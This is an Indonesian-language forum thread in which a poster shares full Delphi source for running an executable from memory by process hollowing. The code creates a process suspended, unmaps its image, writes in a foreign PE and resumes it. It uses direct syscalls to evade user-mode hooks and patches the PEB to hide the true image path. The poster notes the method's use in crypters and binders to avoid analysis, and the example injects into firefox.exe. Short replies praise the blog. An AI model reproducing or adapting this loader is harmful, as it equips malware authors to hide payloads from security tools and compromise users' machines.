Penulis Topik: [Delphi] Execute PE From Memory, Native Syscall Way  (Dibaca 17392 kali)

Offline meong

  • Pro100
  • ****
  • Tulisan: 121
  • Reputation: 203
    • Lihat Profil
[Delphi] Execute PE From Memory, Native Syscall Way
« pada: Desember 14, 2012, 11:49:59 AM »
Beberapa waktu yang lalu saya posting unit tentang bagaimana cara memanggil native api lansung pada syscall tanpa melalui ntdll http://cybercoding.wordpress.com/2012/12/01/union-api/

nah banyak teman" yang tanya cara penggunaannya.. Berhubung ada waktu luang maka sya buat unit yang mengeksekusi PE file from memory.

Methode Execute file from memory :
- Jalankan target executable dengan parameter CREATE_SUSPENDED. (windows akan menjalankan file yang mana setelah meload file ke memory dan settup process windows akan mensuspen process sebelum mengeksekusi main code pada entrypoint

- Dapatkan alamat imagebase(alamat memory dari pe file pada process spaces)

- alokasi dan tulis pe kita memory pada target process

- ubah image base dan entry point sesuai alamat memory pada target process (pe file kita)

- lanjutkan process (resumethread)

Simple kan ? hehehhe. methode ini banyak digunakan pada file crypter/binder di luar sana. Gunanya tentu saja agar file aslinya tidak di analisa secara lansung (karena terencrypt).  Tekniknya sendiri bukan teknik baru dan mempunyai kelemahan mendasar.. Misalnya dengan melakukan hooking fungsi alokasi dan resume thread  :lol:

btw unit dibawah ini hanya membuat methode execute from memory lebih sulit di deteksi pada usermode karena lansung memanggil native api tidak melalui ntdll melainkan lansung sycall (melakukan hall yang sama yang dilakukan ntdll)

Kode: [Pilih]
{ Just Another version execute File from memory, use native -> syscall for bypass all usermode hooker
  Website: Cybercoding.wordpress.com / http://ic0de.org
  Modified: abhe
  Thanks : steve10120
}
unit U_MemExecute;

interface
uses
windows, codesitelogging, U_UnionApi;

function ExecuteFromMem(szFilePath, szParams:String; pFile:Pointer; PatchPEB : Boolean):DWORD;
implementation


Type
  NTSTATUS = cardinal;
  PVOID = pointer;
  PPVOID = ^PVOID;

  PUnicodeString = ^TUnicodeString;
  TUnicodeString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: PWideChar;
  end;

  PImageBaseRelocation = ^TImageBaseRelocation;
  TImageBaseRelocation = packed record
     VirtualAddress: DWORD;
     SizeOfBlock: DWORD;
  end;

procedure xdebug(int:integer);
begin
  codesite.Send('error',int);
end;

function NtSuccess (Stat: LongInt): Boolean;
begin
  Result := Stat >= 0;
end;

//just how virtualalloc from old code of win src
function ExVirtualAlloc(hProcess: THandle; lpAddress: Pointer;
  dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
var
  Status: NTSTATUS;
begin
    status := ApiCall32('NtAllocateVirtualMemory', [
                hProcess,
                @lpAddress,
                0,
                @dwSize,
                flAllocationType,
                flProtect
              ]);

    if NtSuccess(Status) then result := lpAddress
    else result := nil;
end;

function ExWriteProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
  nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
var
  RegionSize: Cardinal;
  Base: Pointer;
  OldProtect: ULONG;
  Status: NTSTATUS;
begin
    result := false;
    RegionSize := nSize;
    Base := lpBaseAddress;

    Status := ApiCall32('NtProtectVirtualMemory', [
                hProcess,
                @Base,
                @RegionSize,
                PAGE_EXECUTE_READWRITE,
                @OldProtect
              ]);

    if NtSuccess(Status) then begin

      if ((OldProtect and PAGE_READWRITE) = PAGE_READWRITE) or
         ((OldProtect and PAGE_WRITECOPY) = PAGE_WRITECOPY) or
         ((OldProtect and PAGE_EXECUTE_READWRITE) = PAGE_EXECUTE_READWRITE) or
         ((OldProtect and PAGE_EXECUTE_WRITECOPY) = PAGE_EXECUTE_WRITECOPY) then begin

        ApiCall32('NtProtectVirtualMemory', [
          hProcess,
          @Base,
          @RegionSize,
          OldProtect,
          @OldProtect
        ]);

        Status := ApiCall32('NtWriteVirtualMemory', [
                    hProcess,
                    lpBaseAddress,
                    lpBuffer,
                    nSize,
                    @lpNumberOfBytesWritten
                  ]);

        if NtSuccess(Status) then begin
          result := true;
          ApiCall32('NtFlushInstructionCache', [hProcess,lpBaseAddress,nSize]);
        end;
      end else begin

        if ((OldProtect and PAGE_NOACCESS) = PAGE_NOACCESS) or
           ((OldProtect and PAGE_READONLY) = PAGE_READONLY) then begin

          ApiCall32('NtProtectVirtualMemory', [
            hProcess,
            @Base,
            @RegionSize,
            OldProtect,
            @OldProtect
          ]);
        end else begin

          Status := ApiCall32('NtWriteVirtualMemory', [
                      hProcess,
                      lpBaseAddress,
                      lpBuffer,
                      nSize,
                      @lpNumberOfBytesWritten
                    ]);

          ApiCall32('NtProtectVirtualMemory', [
            hProcess,
            @Base,
            @RegionSize,
            OldProtect,
            @OldProtect
          ]);

          if NtSuccess(Status) then begin
            result := true;
            ApiCall32('NtFlushInstructionCache', [hProcess,lpBaseAddress,nSize]);
          end;
        end;
      end;
    end;
end;

//patch imagepath from peb for make all getmodulefilename call will result true file lokation
Procedure PatchImagePathRemote(PH:Thandle; Peb:Dword; szNewImageBaseName: PWidechar);
Label
  Top, Retry;
var
  no_success  : integer;
  ldr_data    : Dword;
  Current     : DWord;
  BytesRead   : DWord;
  unicode     : TUnicodeString;
  pNewAddr    : Pointer;
begin
  no_success := 0;
Retry:
  if (no_success >= 600) then exit
  else begin
    inc(no_success);
    Sleep(50);
    goto Top;
  end;
Top :
    xdebug(400);
    //NtReadVirtualMemory
    if (not NtSuccess(ApiCall32('NtReadVirtualMemory',
      [ PH, Ptr(Peb+$c), @ldr_data, sizeof(ldr_data), @BytesRead]))) or
      (ldr_data = 0)  then goto Retry;


    xdebug(401);
    //NtReadVirtualMemory
    if (not NtSuccess(ApiCall32('NtReadVirtualMemory',
      [ PH, Ptr(ldr_data+$c), @Current, sizeof(Current), @BytesRead]))) or
      (Current = 0)  then goto Retry;

    xdebug(402);
    //NtReadVirtualMemory
    if (not NtSuccess(ApiCall32('NtReadVirtualMemory',
      [ PH, Ptr(Current+$24), @unicode, sizeof(unicode), @BytesRead])))  then exit;

    unicode.Length := lstrlenW(szNewImageBaseName) * 2;
    unicode.MaximumLength := unicode.Length+2;

    xdebug(403);
    pNewAddr := ExVirtualAlloc(PH, nil, unicode.Length, $1000 or $2000, $40);

    xdebug(404);
    if (pNewAddr<>nil) then begin
      xdebug(405);
      unicode.Buffer := pNewAddr;
      ExWriteProcessMemory(PH, pNewAddr, szNewImageBaseName, unicode.Length, BytesRead);
      ExWriteProcessMemory(PH, Ptr(Current+$24), @unicode, sizeof(unicode), BytesRead);
    end;
end;

function Get4ByteAlignedContext(var Base: Pointer): PContext;
begin
    Base := ExVirtualAlloc(Thandle(-1), nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
    Result := Base;
    if Base <> nil then
      while ((DWORD(Result) mod 4) <> 0) do
        Result := Pointer(DWORD(Result) + 1);
end;

procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
  l_i: Cardinal;
  l_codebase: Pointer;
  l_relocation: PImageBaseRelocation;
  l_dest: Pointer;
  l_relInfo: ^Word;
  l_patchAddrHL: ^longword;
  l_type, l_offset: integer;
begin
  l_codebase := f_module;
  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  begin
    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
    while l_relocation.VirtualAddress > 0 do
    begin
      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
      l_relInfo := Pointer(Cardinal(l_relocation) + 8);
      for l_i := 0 to (Trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
      begin
        l_type := (l_relInfo^ shr 12);
        l_offset := l_relInfo^ and $FFF;
        if l_type = 3 then
        begin
          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
        end;
        inc(l_relInfo);
      end;
      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
    end;
  end;
end;

function AlignImage(pImage:Pointer):Pointer;
var
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  ISH:          PImageSectionHeader;
  i:            WORD;
begin
    IDH := pImage;
    INH := Pointer(Integer(pImage) + IDH^._lfanew);
    GetMem(Result, INH^.OptionalHeader.SizeOfImage);
    ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
    CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
    for i := 0 to INH^.FileHeader.NumberOfSections - 1 do begin
      ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
      CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
    end;
end;

//execute pe file from memory
function ExecuteFromMem(szFilePath, szParams:String; pFile:Pointer; PatchPEB : Boolean):DWORD;
var
  IDH:      PImageDosHeader;
  INH:      PImageNtHeaders;
  PI:       TProcessInformation;
  SI:       TStartupInfo;
  CT:       PContext;
  CTBase,
  pModule:  Pointer;
  dwIBase,
  dwread:   DWORD;
  Wow1, wow2:     Cardinal;
begin
    Result := 0;

    {Check Image}
    if pFile=nil then exit;
    IDH := pFile;
    if (IDH^.e_magic <> IMAGE_DOS_SIGNATURE) then exit;
    INH := Pointer(Integer(pFile) + IDH^._lfanew);
    if (INH^.Signature <> IMAGE_NT_SIGNATURE) then exit;

    ZeroMemory(@SI, Sizeof(TStartupInfo));
    ZeroMemory(@PI, Sizeof(TProcessInformation));
    SI.cb := Sizeof(TStartupInfo);

    xdebug(200);
    if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then begin

      {check is64bit, if 64bit aplication then we dont inject to it.. inject to own file instead}
      Wow1 := IsWow;
      wow2 := 0;

      //NtQueryInformationProcess -> ProcessWow64Information
      ApiCall32('NtQueryInformationProcess', [PI.hProcess, 26, @wow2, Sizeof(wow2), nil]);

      if (Wow1 <> 0) and (wow2=0) then begin
        {target is 64bit, use self injection}

        //NtTerminateProcess
        ApiCall32('NtTerminateProcess', [PI.hProcess, 0]);

        xDebug(207);
        ExecuteFromMem(paramstr(0), szParams, pFile, patchpeb);

        exit;
      end;


      xdebug(201);
      CT := Get4ByteAlignedContext(CTBase);
      if (CT <> nil) then begin

        xdebug(202);
        CT.ContextFlags := CONTEXT_FULL;

        //NtGetContextThread
        if NtSuccess(ApiCall32('NtGetContextThread', [PI.hThread, CT])) then begin

          xdebug(203);
          dwread := 0;

          //NtReadVirtualMemory
          NtSuccess(ApiCall32('NtReadVirtualMemory',
            [PI.hProcess, Pointer(CT.Ebx + 8), @dwIBase, SizeOf(dwIBase), @dwread]));

          dwread :=  INH^.OptionalHeader.SizeOfImage;

          if (dwIBase = INH^.OptionalHeader.ImageBase) then begin
            //NtUnmapViewOfSection
            if ApiCall32('NtUnmapViewOfSection', [PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)])=0 then
              pModule := ExVirtualAlloc(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
            else
              pModule := ExVirtualAlloc(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
          end else
            pModule := ExVirtualAlloc(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

          if (pModule <> nil) then begin

            xdebug(204);
            pFile := AlignImage(pFile);
            if (DWORD(pModule) <> INH^.OptionalHeader.ImageBase) then begin
              PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
              INH^.OptionalHeader.ImageBase := DWORD(pModule);
              CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
            end;

            ExWriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwread);
            ExWriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwread);

            CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;

            //NtSetContextThread
            ApiCall32('NtSetContextThread', [PI.hThread, CT]);

            //NtResumeThread
            ApiCall32('NtResumeThread', [PI.hThread, nil]);

            result := PI.hThread;

            if PatchPEB and (lstrcmp(PChar(Paramstr(0)), PChar(szFilePath))<>0) then begin
              xdebug(205);
              PatchImagePathRemote( PI.hProcess, CT.Ebx, PWideChar(Paramstr(0)));
            end;

            if (pFile <> nil) then FreeMemory(pFile);
            xdebug(206);
          end;
        end;

        //NtFreeVirtualMemory
        dwread := 0;
        ApiCall32('NtFreeVirtualMemory',[Thandle(-1), @CTBase, @dwread, MEM_RELEASE]);
      end;

      if (Result = 0) then begin
        //NtTerminateProcess
        ApiCall32('NtTerminateProcess', [PI.hProcess, 0]);
      end;

    end;
end;

end.


and example use

Kode: [Pilih]
function LoadFile2String(const FileName: TFileName): AnsiString;
begin
  result := '';
  if not fileexists(FileName) then exit;
  with TFileStream.Create(FileName,fmOpenRead or fmShareDenyWrite) do  // Reading our File To STREAM
  begin
    try
      SetLength(Result, Size);
      Read(Pointer(Result)^, Size);
    except
      Result := '';  // Deallocates memory
      Free;
      raise;
    end;
    Free;
  end;
end;

var
Data:ansiString;
begin
    Data := LoadFile2String('MemExecute - Copy.exe');
    ExecuteFromMem('C:\Program Files (x86)\Mozilla Firefox\firefox.exe', '', @data[1], true);

link to my blog http://cybercoding.wordpress.com/2012/12/14/execute-pe-frommemory-syscall-way/

Offline deni.doank

  • Pro10
  • ***
  • Tulisan: 51
  • Reputation: 81
  • Jenis kelamin: Pria
    • Lihat Profil
Re: [Delphi] Execute PE From Memory, Native Syscall Way
« Jawab #1 pada: Desember 14, 2012, 02:25:36 PM »
blognya keren bro, all about low level programming.. ijin save page :D

Offline meong

  • Pro100
  • ****
  • Tulisan: 121
  • Reputation: 203
    • Lihat Profil
Re: [Delphi] Execute PE From Memory, Native Syscall Way
« Jawab #2 pada: Desember 15, 2012, 11:43:31 AM »
blognya keren bro, all about low level programming.. ijin save page :D

thx gan.. :D